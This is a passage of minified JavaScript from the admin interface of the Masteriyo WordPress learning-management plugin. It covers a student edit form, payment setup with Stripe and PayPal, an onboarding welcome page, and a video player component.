Student","learning-management-system"))))))),l().createElement(De.m,{maxW:"container.xl",mt:"6"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.users.students.list},l().createElement(Dl,null))),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box"},T.isSuccess?l().createElement(Je.Op,B,l().createElement("form",{onSubmit:I((e=>{if(null==L||!L.find((e=>"masteriyo_student"==(null==e?void 0:e.value))))return j({status:"error",title:(0,E.__)("Student role is missing.","learning-management-system"),isClosable:!0});var t=H(e.roles);U.mutate(ne(tb(tb({},e),{},{roles:t})))}))},l().createElement(d.B,{direction:"column",spacing:"6"},oA.APPLIED===(null==T||null===(n=T.data)||void 0===n?void 0:n.instructor_apply_status)?l().createElement(at,{status:"info"},l().createElement(ft.s,{w:"full",alignItems:"center",gap:"2"},l().createElement(g.E,null,(0,E.__)("This student has applied for an instructor.","learning-management-system")),l().createElement(Tc.h,null),l().createElement(Bt.e,{size:"sm"},l().createElement(p.$,{colorScheme:"primary",onClick:I((e=>{U.mutate(ne(ee(e,{status:rA.Active,roles:["masteriyo_instructor"],instructor_apply_status:oA.APPROVED})))})),isLoading:null==U?void 0:U.isPending},(0,E.__)("Approve","learning-management-system")),l().createElement(p.$,{onClick:I((e=>{U.mutate(ne(ee(e,{instructor_apply_status:oA.REJECTED,roles:["masteriyo_student"]})))})),isLoading:null==U?void 0:U.isPending},(0,E.__)("Reject","learning-management-system"))))):null,l().createElement(d.B,{direction:["column","column","row","row"],spacing:"6"},l().createElement(d.B,{py:"3",spacing:"3",flex:"1"},l().createElement(ke.D,{as:"h2",fontSize:"lg"},(0,E.__)("Name","learning-management-system")),l().createElement(Ne.MJ,{py:"3"},l().createElement(Ge.l,null,(0,E.__)("Username","learning-management-system"),l().createElement(tl,{label:(0,E.__)("Username cannot be changed.","learning-management-system")})),l().createElement(Ma.p,{defaultValue:null==T||null===(r=T.data)||void 0===r?void 0:r.username,disabled:!0})),l().createElement(Ne.MJ,{isInvalid:!(null==D||!D.first_name),py:"3"},l().createElement(Ge.l,null,(0,E.__)("First Name","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:null==T||null===(i=T.data)||void 0===i?void 0:i.first_name},P("first_name"))),l().createElement(ui.Wt,null,(null==D?void 0:D.first_name)&&(null==D||null===(o=D.first_name)||void 0===o?void 0:o.message))),l().createElement(Ne.MJ,{isInvalid:!(null==D||!D.last_name),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Last Name","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:null==T||null===(m=T.data)||void 0===m?void 0:m.last_name},P("last_name"))),l().createElement(ui.Wt,null,(null==D?void 0:D.last_name)&&(null==D||null===(c=D.last_name)||void 0===c?void 0:c.message))),l().createElement(Ne.MJ,{isInvalid:!(null==D||!D.nickname),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Nickname","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:null==T||null===(u=T.data)||void 0===u?void 0:u.nickname},P("nickname"))),l().createElement(ui.Wt,null,(null==D?void 0:D.nickname)&&(null==D||null===(A=D.nickname)||void 0===A?void 0:A.message))),null!=R&&R.isCurrentUserAdmin?l().createElement(Ne.MJ,{py:"3"},l().createElement(Ge.l,null,(0,E.__)("Roles","learning-management-system")),l().createElement(Je.xI,{name:"roles",control:O,defaultValue:(null==T||null===(y=T.data)||void 0===y?void 0:y.roles)&&(null==T||null===(f=T.data)||void 0===f||null===(f=f.formatted_roles)||void 0===f?void 0:f.map((e=>({value:null==e?void 0:e.value,label:null==e?void 0:e.label})))),render:e=>{var{field:{onChange:t,value:n}}=e;return l().createElement(Di,{onChange:t,value:n,closeMenuOnSelect:!1,isMulti:!0,isLoading:V.isLoading,options:null==V?void 0:V.data,noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("No role found.","learning-management-system"):(0,E.__)("No Roles.","learning-management-system")}})}})):null),l().createElement(d.B,{py:"3",spacing:"3",flex:"1"},l().createElement(ke.D,{as:"h2",fontSize:"lg"},(0,E.__)("Contact Info","learning-management-system")),l().createElement(Ne.MJ,{isInvalid:!(null==D||!D.email),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Email address","learning-management-system"),l().createElement("span",{style:{color:"red"},className:"required"},"*")),l().createElement(Ma.p,(0,Re.A)({type:"email",defaultValue:null==T||null===(h=T.data)||void 0===h?void 0:h.email},P("email",{required:(0,E.__)("Email is required.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==D?void 0:D.email)&&(null==D||null===(b=D.email)||void 0===b?void 0:b.message))),l().createElement(Ne.MJ,{isInvalid:!(null==D||!D.url),py:"3"},l().createElement(Ge.l,null,(0,E.__)("Website URL","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({type:"url",defaultValue:null==T||null===(w=T.data)||void 0===w?void 0:w.url},P("url"))),l().createElement(ui.Wt,null,(null==D?void 0:D.url)&&(null==D||null===(C=D.url)||void 0===C?void 0:C.message))))),l().createElement(Qe.a,{py:"3"},l().createElement(Do.c,null)),l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:U.isPending},(0,E.__)("Update","learning-management-system")),l().createElement(p.$,{variant:"outline",onClick:()=>S(Pt.users.students.list),isDisabled:U.isPending},(0,E.__)("Cancel","learning-management-system")))))):l().createElement(Th,null)))))};var ab=n(12492),lb=n(71058),rb=n(69065),ib=n(83292),ob=n(82428);const sb=e=>{var t,{defaultValues:n,hideOfflinePaymentSetup:r,hidePaypalPaymentSetup:i,hideStripePaymentSetup:o,onWelcomePageSaveMutation:s}=e,m=(0,wt.n)({mutationKey:["stripeConnection"],mutationFn:(t=(0,Te.A)((function*(e){var t=new FormData;return t.append("action","masteriyo_stripe_connect"),"stripe_nonce"in R&&t.append("nonce",R.stripe_nonce),t.append("current_page_uri",window.location.href),t.append("type",null!=n&&n.stripe_account?"disconnect":"connect"),t.append("state",JSON.stringify(e)),ot()({url:R.ajax_url,body:t,method:"POST"})})),function(e){return t.apply(this,arguments)}),onSuccess(e){"connect"==e.data.type?window.location.href=e.data.data:window.location.reload()},onError(e){}}),c=(0,a.useMemo)((()=>{var e;return null===(e=[{label:(0,E.__)("Offline Payment","learning-management-system"),key:"offline",switchName:"welcome.payments.offline_payment",switchDefaultValue:!1,thumbnail:AE,show:!r},{label:(0,E.__)("Standard Paypal","learning-management-system"),key:"paypal",switchName:"welcome.payments.paypal",switchDefaultValue:!1,thumbnail:pE,show:!i},{label:(0,E.__)("Stripe","learning-management-system"),key:"stripe",switchName:"welcome.payments.stripe",switchDefaultValue:!1,thumbnail:gE,show:!o}])||void 0===e?void 0:e.filter((e=>null==e?void 0:e.show))}),[o,i,r]),{control:A,getValues:y,formState:v}=(0,Je.xW)(),f=(0,Je.FH)({name:"welcome.payments.paypal",control:A,defaultValue:null==n?void 0:n.paypal}),h=(0,Je.FH)({name:"welcome.payments.stripe",control:A,defaultValue:null==n?void 0:n.stripe});return l().createElement(u.T,{alignItems:"flex-start",gap:4},null==c?void 0:c.map((e=>{var t,{key:a,label:r,switchDefaultValue:i,switchName:o,thumbnail:s}=e,c=!1;return"paypal"==a?c=f:"stripe"===a&&(c=h),l().createElement(d.B,{key:a,w:"full",borderColor:c?"primary.500":"gray.200",borderWidth:1,py:4,px:5,gap:3,borderRadius:"base"},l().createElement(Ze.z,{justify:"space-between",align:"center",w:"full"},l().createElement(qe._,{src:s,width:7,height:7}),l().createElement(g.E,{fontSize:"md",fontWeight:"medium",flex:1},r),l().createElement(Je.xI,{name:o,control:A,render:e=>{var{field:t}=e;return l().createElement(qa.d,(0,Re.A)({},t,{onChange:e=>{t.onChange(e)}}))}})),l().createElement(_t.S,{in:c},l().createElement(Do.c,{mt:1,mb:4,color:"gray.200"}),"stripe"===(t=a)?l().createElement(Ze.z,{width:"full",alignItems:"center",justify:"space-between"},l().createElement(Fa,null,l().createElement(Ge.l,{minW:"160px"},(0,E.__)("Connection Status","learning-management-system")),l().createElement(Qe.a,null,l().createElement(p.$,{onClick:()=>{m.mutate({enable:h})},isLoading:m.isPending,size:"md",colorScheme:null!=n&&n.stripe_account?"red":"#625afa",bg:null!=n&&n.stripe_account?"red.500":"#625afa",gap:1},null!=n&&n.stripe_account?l().createElement(g.E,null,(0,E.__)("Disconnect","learning-management-system")):l().createElement(l().Fragment,null,l().createElement(g.E,{fontSize:"15px",fontWeight:"700"},(0,E.__)("Connect with","learning-management-system")),l().createElement(sE.B.svg,{xmlns:"http://www.w3.org/2000/svg",fillRule:"evenodd",viewBox:"0 0 512 214",preserveAspectRatio:"xMidYMid",height:"20px",fill:"currentcolor",width:"49px"},l().createElement(sE.B.path,{d:"M35.982 83.484c0-5.546 4.551-7.68 12.09-7.68 10.808 0 24.461 3.272 35.27 9.103V51.484c-11.804-4.693-23.466-6.542-35.27-6.542C19.2 44.942 0 60.018 0 85.192c0 39.252 54.044 32.995 54.044 49.92 0 6.541-5.688 8.675-13.653 8.675-11.804 0-26.88-4.836-38.827-11.378v33.849c13.227 5.689 26.596 8.106 38.827 8.106 29.582 0 49.92-14.648 49.92-40.106-.142-42.382-54.329-34.845-54.329-50.774zm96.142-66.986l-34.702 7.395-.142 113.92c0 21.05 15.787 36.551 36.836 36.551 11.662 0 20.195-2.133 24.888-4.693V140.8c-4.55 1.849-27.022 8.391-27.022-12.658V77.653h27.022V47.36h-27.022l.142-30.862zm71.112 41.386L200.96 47.36h-30.72v124.444h35.556V87.467c8.39-10.951 22.613-8.96 27.022-7.396V47.36c-4.551-1.707-21.191-4.836-29.582 10.524zm38.257-10.524h35.698v124.444h-35.698V47.36zm0-10.809l35.698-7.68V0l-35.698 7.538V36.55zm109.938 8.391c-13.938 0-22.898 6.542-27.875 11.094l-1.85-8.818h-31.288v165.83l35.555-7.537.143-40.249c5.12 3.698 12.657 8.96 25.173 8.96 25.458 0 48.64-20.48 48.64-65.564-.142-41.245-23.609-63.716-48.498-63.716zm-8.533 97.991c-8.391 0-13.37-2.986-16.782-6.684l-.143-52.765c3.698-4.124 8.818-6.968 16.925-6.968 12.942 0 21.902 14.506 21.902 33.137 0 19.058-8.818 33.28-21.902 33.28zM512 110.08c0-36.409-17.636-65.138-51.342-65.138-33.85 0-54.33 28.73-54.33 64.854 0 42.808 24.179 64.426 58.88 64.426 16.925 0 29.725-3.84 39.396-9.244v-28.445c-9.67 4.836-20.764 7.823-34.844 7.823-13.796 0-26.027-4.836-27.591-21.618h69.547c0-1.85.284-9.245.284-12.658zm-70.258-13.511c0-16.071 9.814-22.756 18.774-22.756 8.675 0 17.92 6.685 17.92 22.756h-36.694z"}))))))):"paypal"===t?l().createElement(d.B,{width:"full",alignItems:"flex-start"},l().createElement(Ze.z,{alignItems:"flex-start"},l().createElement(g.E,{fontSize:"sm",fontWeight:"medium"},(0,E.__)("PayPal Email","learning-management-system")),l().createElement(tl,{label:(0,E.__)("The email associated with your PayPal business account.","learning-management-system")})),l().createElement(Je.xI,{name:"welcome.payments.paypal_email",defaultValue:(null==n?void 0:n.paypal_email)||"",control:A,render:e=>{var{field:t}=e;return l().createElement(Ma.p,(0,Re.A)({},t,{width:"full",type:"email",color:"onboard-color-light",fontSize:"onboard-xs"}))}})):l().createElement(l().Fragment,null)))})),l().createElement(p.$,{colorScheme:"primary",rounded:"base",mt:2,onClick:()=>null==s?void 0:s.mutate(y("welcome")),isLoading:null==s?void 0:s.isPending},(0,E.__)("Save","learning-management-system")))};function mb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function cb(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?mb(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):mb(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var ub=["Learn","Checkout","Account"],db="".concat(null==R?void 0:R.home_url,"/wp-admin/admin.php?page=masteriyo#/settings?first=payments&second=payment-methods");const gb=()=>{var e,t,n,r,i,o,m,c,u,[A,y]=(0,a.useState)({requiredPages:!0,paymentSetup:!0,starterTemplates:!0,firstCourse:!0}),v=new mt(rt.welcomePage),{welcomePageQuery:f,hideHomePage:h}=(0,vt.KC)(),b=(0,wt.n)(cb({mutationFn:e=>v.store(e)},{onSuccess:e=>{S({title:(0,E.__)("Updated Successfully","learning-management-system"),isClosable:!0,status:"success"}),function(e,t){t&&e.setQueryData(["welcomePage"],(e=>W(W({},null!=e?e:{}),t)))}(C,e)},onError:e=>{S({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),w=(0,a.useCallback)((e=>{y((t=>cb(cb({},t),{},{[e]:!t[e]})))}),[]),C=(0,s.jE)(),x=new mt(rt.courses),S=(0,We.d)(),B=(0,vt.Zp)(),I=(0,wt.n)({mutationFn:e=>x.store(e)}),O=(0,a.useMemo)((()=>{var e,t,n=null==f||null===(e=f.data)||void 0===e?void 0:e.payment_data;return!(null==f||null===(t=f.data)||void 0===t||!t.skip_payment_setup)||(!!(null!=n&&n.offline_payment&&null!=n&&n.paypal&&null!=n&&n.stripe)||void 0)}),[null==f||null===(e=f.data)||void 0===e?void 0:e.payment_data,null==f||null===(t=f.data)||void 0===t?void 0:t.skip_payment_setup]),P=(0,a.useMemo)((()=>{var e,t=null==f||null===(e=f.data)||void 0===e?void 0:e.payment_data;if(null!=t&&t.offline_payment)return!0}),[null==f||null===(n=f.data)||void 0===n?void 0:n.payment_data]),D=(0,a.useMemo)((()=>{var e,t=null==f||null===(e=f.data)||void 0===e?void 0:e.payment_data;if(null!=t&&t.paypal)return!0}),[null==f||null===(r=f.data)||void 0===r?void 0:r.payment_data]),_=(0,a.useMemo)((()=>{var e,t=null==f||null===(e=f.data)||void 0===e?void 0:e.payment_data;if(null!=t&&t.stripe)return!0}),[null==f||null===(i=f.data)||void 0===i?void 0:i.payment_data]),k=(0,a.useMemo)((()=>{var e;return!Boolean(null==f||null===(e=f.data)||void 0===e||null===(e=e.missing_pages)||void 0===e?void 0:e.length)}),[null==f||null===(o=f.data)||void 0===o||null===(o=o.missing_pages)||void 0===o?void 0:o.length]),Q=(0,a.useMemo)((()=>{var e;return"no"===(null==f||null===(e=f.data)||void 0===e?void 0:e.show_starters_templates)}),[null==f||null===(m=f.data)||void 0===m?void 0:m.show_starters_templates]),z=(0,a.useMemo)((()=>{var e;return null==f||null===(e=f.data)||void 0===e?void 0:e.course_created}),[null==f||null===(c=f.data)||void 0===c?void 0:c.course_created]),q=(0,a.useMemo)((()=>{var e={},t=1;return[{id:"requiredPages",isHidden:k},{id:"paymentSetup",isHidden:O},{id:"starterTemplates",isHidden:Q},{id:"firstCourse",isHidden:z}].forEach((n=>{var{id:a,isHidden:l}=n;l||(e[a]=t,t++)})),e}),[k,O,Q,z]);return(0,a.useEffect)((()=>{h&&B("/about")}),[h,B]),null!=f&&f.isPending?l().createElement(qd,null):l().createElement(De.m,{maxW:"container.xl",py:10},l().createElement(d.B,{align:"flex-start",gap:4,mb:8},l().createElement(ke.D,{as:"h3",fontSize:"2xl",fontWeight:"onboard-bold",color:"onboard-color-dark",mt:0},(0,E.__)("Welcome to Masteriyo","learning-management-system")),l().createElement(g.E,{fontSize:"md",fontWeight:"light"},(0,E.__)("Let's get your learning management system set up and ready to go!","learning-management-system"))),l().createElement(br.x,{gridGap:"5",gridTemplateColumns:{sm:"1fr",md:"2fr 2fr",lg:"3fr 2fr",xl:"3fr 1fr"}},l().createElement(d.B,{gap:"5"},!k&&l().createElement(d.B,{p:"6",gap:"5",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{justify:"space-between"},l().createElement(Ze.z,{alignItems:"center"},l().createElement(g.E,{as:"h2",size:"lg",color:"gray.600",fontWeight:"semibold"},q.requiredPages,")"),l().createElement(ke.D,{as:"h3",size:"md",fontWeight:"semibold"},(0,E.__)("Required Missing Pages","learning-management-system"))),l().createElement(Un.K,{"aria-label":"requiredPages",icon:l().createElement($e.I,{as:null!=A&&A.requiredPages?kt.mlL:kt.nwe,fontSize:"2xl",fill:null!=A&&A.requiredPages?"primary.500":"black"}),cursor:"pointer",fontSize:"xl",onClick:()=>w("requiredPages"),size:"sm",boxShadow:"none",borderRadius:"base",variant:null!=A&&A.requiredPages?"solid":"link",border:"none",bg:null!=A&&A.requiredPages?"gray.100":"transparent",_hover:{bg:null!=A&&A.requiredPages?"gray.100":"inherit"}})),l().createElement(_t.S,{in:null==A?void 0:A.requiredPages},l().createElement(d.B,{gap:5},l().createElement(Do.c,{color:"gray.200"}),l().createElement(g.E,{fontWeight:"light",fontSize:"md"},(0,E.__)("Some essential pages haven't been created yet. These are needed for your site to function properly.","learning-management-system")),l().createElement(Fe._J,{spacing:2,fontWeight:"medium",listStyleType:"none",m:0},null==ub?void 0:ub.map((e=>{var t,n;return l().createElement(Fe.ck,{key:e},l().createElement(Fe.kp,{as:null!=f&&null!==(t=f.data)&&void 0!==t&&null!==(t=t.missing_pages)&&void 0!==t&&t.includes(e)?fm.ORb:fm.OLr,color:null!=f&&null!==(n=f.data)&&void 0!==n&&null!==(n=n.missing_pages)&&void 0!==n&&n.includes(e)?"red.500":"green.500"}),e," ",(0,E.__)(" Page","learning-management-system"))}))),l().createElement(p.$,{colorScheme:"primary",rounded:"base",width:"fit-content",onClick:()=>b.mutate({}),isLoading:null==b?void 0:b.isPending},(0,E.__)("Generate Pages","learning-management-system"))))),!O&&l().createElement(d.B,{p:"6",gap:"5",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{justify:"space-between"},l().createElement(Ze.z,{alignItems:"center"},l().createElement(g.E,{as:"h2",size:"lg",color:"gray.600",fontWeight:"semibold"},q.paymentSetup,")"),l().createElement(ke.D,{as:"h3",size:"md",fontWeight:"semibold"},(0,E.__)("Payment Setup","learning-management-system"))),l().createElement(Un.K,{"aria-label":"paymentSetup",icon:l().createElement($e.I,{as:null!=A&&A.paymentSetup?kt.mlL:kt.nwe,fontSize:"2xl",fill:null!=A&&A.paymentSetup?"primary.500":"black"}),cursor:"pointer",fontSize:"xl",onClick:()=>w("paymentSetup"),size:"sm",boxShadow:"none",borderRadius:"base",variant:null!=A&&A.paymentSetup?"solid":"link",border:"none",bg:null!=A&&A.paymentSetup?"gray.100":"transparent",_hover:{bg:null!=A&&A.paymentSetup?"gray.100":"inherit"}})),l().createElement(_t.S,{in:null==A?void 0:A.paymentSetup},l().createElement(d.B,{gap:5},l().createElement(Do.c,{color:"gray.200"}),l().createElement(g.E,{fontWeight:"light",fontSize:"md"},(0,E.__)("Configure payment methods to start selling your courses. You can set up multiple payment options for your students.","learning-management-system")),l().createElement(sb,{defaultValues:null==f||null===(u=f.data)||void 0===u?void 0:u.payment_data,hideStripePaymentSetup:_||!1,hidePaypalPaymentSetup:D||!1,hideOfflinePaymentSetup:P||!1,onWelcomePageSaveMutation:b}),l().createElement(Ze.z,{justifyContent:"space-between"},l().createElement(g.E,{fontSize:"13px"},(0,E.__)("Additional payment setup can be configured from","learning-management-system")," ",l().createElement(je.N,{fontWeight:"medium",href:db,color:Aa,_hover:{textDecoration:"underline",color:Aa}},(0,E.__)("Payment > Settings","learning-management-system"))),l().createElement(je.N,{color:"gray.500",_hover:{textDecoration:null!=b&&b.isPending?"none":"underline",color:null!=b&&b.isPending?"gray.500":Aa},onClick:()=>b.mutate({skip_payment_setup:!0})},(0,E.__)("Skip Setup","learning-management-system")))))),!Q&&l().createElement(d.B,{p:"6",gap:"5",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{justify:"space-between"},l().createElement(Ze.z,{alignItems:"center"},l().createElement(g.E,{as:"h2",size:"lg",color:"gray.600",fontWeight:"semibold"},q.starterTemplates,")"),l().createElement(ke.D,{as:"h3",size:"md",fontWeight:"semibold"},(0,E.__)("Starter Templates","learning-management-system"))),l().createElement(Un.K,{"aria-label":"starterTemplates",icon:l().createElement($e.I,{as:null!=A&&A.starterTemplates?kt.mlL:kt.nwe,fontSize:"2xl",fill:null!=A&&A.starterTemplates?"primary.500":"black"}),cursor:"pointer",fontSize:"xl",onClick:()=>w("starterTemplates"),size:"sm",boxShadow:"none",borderRadius:"base",variant:null!=A&&A.starterTemplates?"solid":"link",border:"none",bg:null!=A&&A.starterTemplates?"gray.100":"transparent",_hover:{bg:null!=A&&A.starterTemplates?"gray.100":"inherit"}})),l().createElement(_t.S,{in:null==A?void 0:A.starterTemplates},l().createElement(d.B,{gap:5},l().createElement(Do.c,{color:"gray.200"}),l().createElement(g.E,{fontWeight:"light",fontSize:"md"},(0,E.__)("Launch your learning site faster with professionally designed templates optimized for course sales and student engagement.","learning-management-system")),l().createElement(p.$,{onClick:()=>{window.scrollTo(0,0),B("/starter-templates")},colorScheme:"primary",rounded:"base",width:"fit-content"},(0,E.__)("View Starter Templates","learning-management-system")),l().createElement(je.N,{color:null!=b&&b.isPending?"gray.500":Aa,_hover:{textDecoration:null!=b&&b.isPending?"none":"underline",color:null!=b&&b.isPending?"gray.500":Aa},onClick:()=>b.mutate({show_starters_templates:!1})},(0,E.__)("I don't want to use starter templates","learning-management-system"))))),!z&&l().createElement(d.B,{p:"6",gap:"5",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{justify:"space-between"},l().createElement(Ze.z,{alignItems:"center"},l().createElement(g.E,{as:"h2",size:"lg",color:"gray.600",fontWeight:"semibold"},q.firstCourse,")"),l().createElement(ke.D,{as:"h3",size:"md",fontWeight:"semibold"},(0,E.__)("Create Your First Course","learning-management-system"))),l().createElement(Un.K,{"aria-label":"firstCourse",icon:l().createElement($e.I,{as:null!=A&&A.firstCourse?kt.mlL:kt.nwe,fontSize:"2xl",fill:null!=A&&A.firstCourse?"primary.500":"black"}),cursor:"pointer",fontSize:"xl",onClick:()=>w("firstCourse"),size:"sm",boxShadow:"none",borderRadius:"base",variant:null!=A&&A.firstCourse?"solid":"link",border:"none",bg:null!=A&&A.firstCourse?"gray.100":"transparent",_hover:{bg:null!=A&&A.firstCourse?"gray.100":"inherit"}})),l().createElement(_t.S,{in:null==A?void 0:A.firstCourse},l().createElement(Mn,{isPrimaryButtonLoading:null==I?void 0:I.isPending,onPrimaryButtonClick:()=>{var e;e={name:"Untitled Course"},I.mutate(cb(cb({},e),{},{status:"draft"}),{onSuccess:e=>{we(C,["courseList",{order:"desc",orderby:"date"}],e),B({pathname:Pt.courses.edit.replace(":courseId",e.id.toString())})},onError:e=>{S({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})},description:(0,E.__)("Start building your learning platform by creating your first course. Add lessons, quizzes, and materials to engage your students.","learning-management-system"),primaryButtonLabel:(0,E.__)("Add New Course","learning-management-system"),docs:"https://docs.masteriyo.com/course-creation",video:"https://www.youtube.com/watch?v=DVtHq5pY1kc",minHeight:"20vh"})))),l().createElement(d.B,{gap:"5"},l().createElement(d.B,{p:"6",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(ab.A,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Masteriyo Community","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Join our exclusive group and connect with fellow Masteriyo members. Ask questions, contribute to discussions, and share feedback!","learning-management-system")),l().createElement(je.N,{color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",href:ma,isExternal:!0},(0,E.__)("Join our Facebook Group","learning-management-system"))),l().createElement(d.B,{p:"6",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(lb.A,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Getting Started","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Check our documentation for detailed information on Masteriyo features and how to use them.","learning-management-system")),l().createElement(je.N,{color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",href:ia,isExternal:!0},(0,E.__)("View Documentation","learning-management-system"))),l().createElement(d.B,{p:"6",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(rb.A,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Support","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Submit a ticket for encountered issues and get help from our support team instantly.","learning-management-system")),l().createElement(je.N,{color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",href:ca,isExternal:!0},(0,E.__)("Create a Ticket","learning-management-system"))),l().createElement(d.B,{p:"6",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(kt.vYt,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Feature Request","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Don’t find a feature you’re looking for? Suggest any features you think would enhance our product.","learning-management-system")),l().createElement(je.N,{color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",href:sa,isExternal:!0},(0,E.__)("Request a Feature","learning-management-system"))),l().createElement(d.B,{p:"6",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(ib.A,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Submit a Review","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Please take a moment to give us a review. We appreciate honest feedback that’ll help us improve our plugin.","learning-management-system")),l().createElement(je.N,{color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",href:ua,isExternal:!0},(0,E.__)("Submit a Review","learning-management-system"))),l().createElement(d.B,{p:"6",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(ob.A,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Video Tutorials","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Watch our step-by-step video tutorials that’ll help you get the best out of Masteriyo’s features.","learning-management-system")),l().createElement(je.N,{color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",isExternal:!0,href:"https://www.youtube.com/@masteriyolms"},(0,E.__)("Watch Videos","learning-management-system"))))))};var Ab,pb=n(57528),Eb=n(28146),yb=(0,n(17437).keyframes)(Ab||(Ab=(0,pb.A)(["\n\t0% {\n\t\topacity: 1;\n\t\ttransform: scale(0);\n\t}\n\t100% {\n\t\topacity: 0;\n\t\ttransform: scale(2.5);\n\t}\n"])));const vb=e=>{var{imgSrc:t,videoURL:n}=e,{isOpen:r,onOpen:i}=(0,Ue.j)(),o=(0,a.useRef)(null),[s,m]=(0,a.useState)({width:0,height:0}),[c,u]=(0,a.useState)([]),d=(0,Eb.D)().colors.primary[500];return l().createElement(l().Fragment,null,c.map((e=>l().createElement(Qe.a,{key:e.id,position:"absolute",left:e.x,top:e.y,w:"40px",h:"40px",transform:"translate(-50%, -50%)",sx:{animation:"".concat(yb," 2s ease-out")},onAnimationEnd:()=>u((t=>t.filter((t=>t.id!==e.id))))},l().createElement(Qe.a,{w:"100%",h:"100%",borderRadius:"50%",bg:"black",transform:"scale(0)",sx:{animation:"".concat(yb," 2s ease-out")}})))),r?l().createElement("iframe",{width:s.width,height:s.height,src:n,title:"YouTube video player",frameBorder:"0",allow:"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share",allowFullScreen:!0}):l().createElement(Qe.a,{position:"relative",onClick:i,cursor:"pointer",ref:o,width:"100%",borderRadius:"lg",overflow:"hidden",bg:"blackAlpha.700",_hover:{"& .play-button":{transform:"translate(-50%, -50%) scale(1.1)"},"& .image-overlay":{opacity:.7}}},l().createElement(Qe.a,{position:"absolute",top:"0",left:"0",width:"100%",height:"100%",bg:"blackAlpha.600",className:"image-overlay",transition:"opacity 0.5s ease",zIndex:"1"}),l().createElement(qe._,{fallback:l().createElement(St.E,{height:"422px"}),src:t,alt:"Masteriyo Logo",onLoad:()=>{o.current&&m({width:o.current.offsetWidth,height:o.current.offsetHeight})},opacity:"0.8",width:"100%",position:"relative",zIndex:"0"}),l().createElement(Qe.a,{position:"absolute",top:"50%",left:"50%",transform:"translate(-50%, -50%)",w:"100px",h:"100px"},[0,.3,.8].map((e=>l().createElement(Qe.a,{key:e,position:"absolute",w:"100%",h:"100%",borderRadius:"50%",bg:"white",sx:{animation:"".concat(yb," 3s ease-out infinite"),animationDelay:"".concat(e,"s")}})))),l().createElement(Qe.a,{position:"absolute",top:"50%",left:"50%",transform:"translate(-50%, -50%)",backgroundColor:"white",borderRadius:"50%",width:"63px",height:"63px",display:"flex",justifyContent:"center",alignItems:"center",boxShadow:"lg",transition:"transform 0.3s, background-color 0.3s",_hover:{transform:"translate(-50%, -50%) 